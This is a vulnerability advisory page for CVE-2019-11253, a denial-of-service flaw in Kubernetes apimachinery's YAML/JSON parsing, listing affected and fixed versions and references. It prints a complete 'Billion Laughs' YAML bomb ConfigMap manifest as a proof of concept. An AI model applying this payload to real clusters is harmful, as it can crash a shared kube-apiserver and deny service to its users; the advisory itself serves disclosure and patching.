Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing
Key facts
- Attack vector
- —
- Privileges required
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- User interaction
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- Attack complexity
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- Impact type
- —
- Confidentiality · integrity · availability
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- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable. When creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a "Billion Laughs" attack which is quite well known as an XML parsing issue. Applying this manifest to a cluster causes the client to hang for some time with considerable CPU usage. ```yaml apiVersion: v1 data: a: &a ["web","web","web","web","web","web","web","web","web"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] kind: ConfigMap metadata: name: yaml-bomb namespace: default ``` ### Specific Go Packages Affected - k8s.io/apimachinery/pkg/runtime/serializer/json - k8s.io/apimachinery/pkg/util/json
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | k8s.io/apimachinery (Go) | before 0.0.0-20190927203648-9ce6eca90e73 | 0.0.0-20190927203648-9ce6eca90e73 | Patch available | GHSA-74fp-r6jw-h4mp |
- k8s.io/apimachinery (Go) Vendor— Affected before 0.0.0-20190927203648-9ce6eca90e73 Fixed in 0.0.0-20190927203648-9ce6eca90e73 Patch available GHSA-74fp-r6jw-h4mp
Remediation
- Fix · GHSA-74fp-r6jw-h4mp k8s.io/apimachinery (Go) Fixed in 0.0.0-20190927203648-9ce6eca90e73 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-74fp-r6jw-h4mp
References
Advisory 2
Other 6
- https://github.com/kubernetes/kubernetes/issues/83253
- https://github.com/kubernetes/kubernetes/pull/83261
- https://github.com/kubernetes/kubernetes
- https://groups.google.com/g/kubernetes-security-announce/c/jk8polzSUxs
- https://pkg.go.dev/vuln/GO-2022-0965
- https://stackoverflow.com/questions/58129150/security-yaml-bomb-user-can-restart-kube-api-by-sending-configmap
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences